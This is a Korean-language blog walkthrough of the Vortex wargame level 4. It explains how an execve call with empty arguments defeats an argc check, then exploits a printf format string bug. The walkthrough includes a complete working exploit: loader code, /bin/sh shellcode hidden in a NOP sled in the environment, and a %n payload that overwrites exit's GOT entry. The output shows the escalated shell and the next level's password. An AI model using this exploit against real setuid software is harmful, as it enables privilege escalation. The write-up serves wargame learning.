본문 바로가기

wargame/vortex

vortex4

Vortex Level 4 → Level 5

To exec or not to exec

This is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?

Reading Material

Included file: vortex4.c
// -- andrewg, original author was zen-parse :)
#include <stdlib.h>


int main(int argc, char **argv)
{
        if(argc) exit(0);
        printf(argv[3]);
        exit(EXIT_FAILURE);
}



소스는 간단하다. 

취약점도 간단히 보인다.  FSB


하지만 argc가 0이여야된다.

argv[3]에는 인자는 줘야하고, argc는 0이여야 한다...

일단 argc가 0이라고 해서 execve로 인자를 NULL로 주면 if문은 우회가 가능하다. 근데 argv[3]에 인자를 줄수없다면 FSB는 불가능 하다.

이를 어떻게 해결해야 하나 고민하던 도중, gdb로 재미있는것을 발견하였다.

   0x08048414 <+0>:     push   ebp

   0x08048415 <+1>:     mov    ebp,esp

   0x08048417 <+3>:     and    esp,0xfffffff0

   0x0804841a <+6>:     sub    esp,0x10

   0x0804841d <+9>:     cmp    DWORD PTR [ebp+0x8],0x0

   0x08048421 <+13>:    je     0x804842f <main+27>

   0x08048423 <+15>:    mov    DWORD PTR [esp],0x0

   0x0804842a <+22>:    call   0x8048340 <exit@plt>

   0x0804842f <+27>:    mov    eax,DWORD PTR [ebp+0xc]

   0x08048432 <+30>:    add    eax,0xc

   0x08048435 <+33>:    mov    eax,DWORD PTR [eax]

   0x08048437 <+35>:    mov    DWORD PTR [esp],eax

   0x0804843a <+38>:    call   0x8048320 <printf@plt>

   0x0804843f <+43>:    mov    DWORD PTR [esp],0x0

   0x08048446 <+50>:    call   0x8048340 <exit@plt>


바로 argv[3]의 인자 참조 방식인데, 이중포인터인만큼 argv의 값에 12를 더하는 식으로 인자를 참조한다.


이때 argv다음에는 바로 envp가 뒤따라 나온다. 예를들어,


 argv[0]

argv[1] 

NULL 

envp[0] 

envp[0] 


이런식으로 나온다.


근데 지금 argc가 0이여야 되니,


 NULL

envp[0] 

 envp[1] 

 envp[2] 

envp[3]  


이런식으로 되는데, 어셈으로 보면 그냥 무조건 *(argv+12)의 값을 뽑아내니까 현재 위의 그림으로는 envp[2]의 값을 참조한다. 그러면 우리는 envp[2]에 우리가 원하는 값을 주면 된다.


그래서 다음과 같이 소스를 짜보았다.


vortex4@melinda:/tmp/sanguine2$ cat execve_vortex4.c

#include <stdio.h>


int main(int argc,char *argv[]){


        char *envps[]={"0","0",argv[1]};

        execve("/games/vortex/vortex4",NULL,envps);

}


vortex4@melinda:/tmp/sanguine2$ ./execve_vortex4 aaaa

aaaavortex4@melinda:/tmp/sanguine2$



정상적으로 aaaa가 출력되는것을 볼 수 있다.

이제 FSB를 이용해서 공격만 남았다.

이제 페이로드를 짤려면 필요한 정보를 모아보자.

일단 eip를 조작할 방법은 gotoverwrite를 통해 exit의 got을 덮어씌우는것이다.
그리고 쉘코드는 argv[4]에 올리거나, 환경변수를 이용하면 될 것 같은데 환경변수를 사용하겟다.

vortex4@melinda:/tmp/sanguine2$ export hack=`perl -e'print "\x90"x100000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f        \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
vortex4@melinda:/tmp/sanguine2$ ./env
fffe625c
vortex4@melinda:/tmp/sanguine2$ ./env
fffe625c
vortex4@melinda:/tmp/sanguine2$ ./env
fffe625c


환경변수 주소를 얻었고 대충 놉슬라이드 어디쯤인 0xffff1010으로 정했다.


exit의 got주소를 얻어와보자
vortex4@melinda:/tmp/sanguine2$ gdb -q /games/vortex/vortex4
Reading symbols from /games/vortex/vortex4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048414 <+0>:     push   ebp
   0x08048415 <+1>:     mov    ebp,esp
   0x08048417 <+3>:     and    esp,0xfffffff0
   0x0804841a <+6>:     sub    esp,0x10
   0x0804841d <+9>:     cmp    DWORD PTR [ebp+0x8],0x0
   0x08048421 <+13>:    je     0x804842f <main+27>
   0x08048423 <+15>:    mov    DWORD PTR [esp],0x0
   0x0804842a <+22>:    call   0x8048340 <exit@plt>
   0x0804842f <+27>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048432 <+30>:    add    eax,0xc
   0x08048435 <+33>:    mov    eax,DWORD PTR [eax]
   0x08048437 <+35>:    mov    DWORD PTR [esp],eax
   0x0804843a <+38>:    call   0x8048320 <printf@plt>
   0x0804843f <+43>:    mov    DWORD PTR [esp],0x0
   0x08048446 <+50>:    call   0x8048340 <exit@plt>
End of assembler dump.
(gdb) x/4i 0x08048340
   0x8048340 <exit@plt>:        jmp    DWORD PTR ds:0x804a008
   0x8048346 <exit@plt+6>:      push   0x10
   0x804834b <exit@plt+11>:     jmp    0x8048310
   0x8048350 <__libc_start_main@plt>:   jmp    DWORD PTR ds:0x804a00c


그리고 그다음은, FSB할때 esp를 argv[3]까지 가르키게 하기위한 %8x의 갯수이다.
그런데 이게 환경변수이다 보니, 입력값에따라 계속 위치가 변하였고, 문제를 풀면서 갯수를 정해야할것같다.
일단 100개부터 출력되는것을 확인해서, 100개부터 해서 조절해 나가겠다.

[+]payload write
exit@got에 주소를 2번에 나눠서 써야하지만, 2번째 주소에 0a가 들어가서, perl스크립트 양쪽 끝을 ""로 둘러싸서 우회하였다.


[exit@got][aaaa][exit@got+2]["%8x"x100][%(\x1020-812)c][%n][%(\xffff-\x1020)c][%n]['aaaaaa']->정확하게 %n이 주소를 가르킬수있게 바이트 마춰주는 역활을 한다.

[0x0804a008][aaaa][0x0804a00a]["%8x"x100][%3316c][%n][%61407c][%n][aaaaaa]  


[+]attack

일단 먼저 환경변수를 등록한다.
vortex4@melinda:/tmp/sanguine2$ export hack=`perl -e 'print "\x90"x100000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

그리고 로더에서 등록한 환경변수를 전달해주기위해 다음과 같이 코딩한다.

vortex4@melinda:/tmp/sanguine2$ cat execve_vortex4.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[]){
        char *envps[]={"0","0",argv[1],getenv("hack")};
        execve("/games/vortex/vortex4",NULL,envps);
}



vortex4@melinda:/tmp/sanguine2$ ./execve_vortex4 "`perl -e 'print "\x08\xa0\x04\x08","aaaa","\x0a\xa0\x04\x08","%8x"x100,"%3316c","%n","%61407c","%n","aaaaaa"'`"

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          $ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
:4VtbC4lr
$

[+]의문점



위에서 보면 0x08049f1f는 dtors영역으로써, readelf로 보면 읽기쓰기가 가능한 영역이였다.

vortex4@melinda:/tmp/sanguine2$ readelf -l vortex4


Elf file type is EXEC (Executable file)

Entry point 0x8048360

There are 9 program headers, starting at offset 52


Program Headers:

  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4

  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1

      [Requesting program interpreter: /lib/ld-linux.so.2]

  LOAD           0x000000 0x08048000 0x08048000 0x00614 0x00614 R E 0x1000

  LOAD           0x000f14 0x08049f14 0x08049f14 0x00104 0x0010c RW  0x1000

  DYNAMIC        0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW  0x4

  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4

  GNU_EH_FRAME   0x000520 0x08048520 0x08048520 0x00034 0x00034 R   0x4

  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

  GNU_RELRO      0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R   0x1


근데 값이 써지질 않아서 오류가 발생했다.

이유가 먼지 찾아보니 


  GNU_RELRO      0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R   0x1

이 부분에 의해서 다시 read only로 바뀐다.


다음을 참고해라

https://isisblogs.poly.edu/2011/06/01/relro-relocation-read-only/

'wargame > vortex' 카테고리의 다른 글

vortex6  (0) 2014.06.09
vortex5  (0) 2014.06.08
vortex3  (0) 2014.05.21
vortex2  (0) 2014.05.21
vortex1  (0) 2014.04.28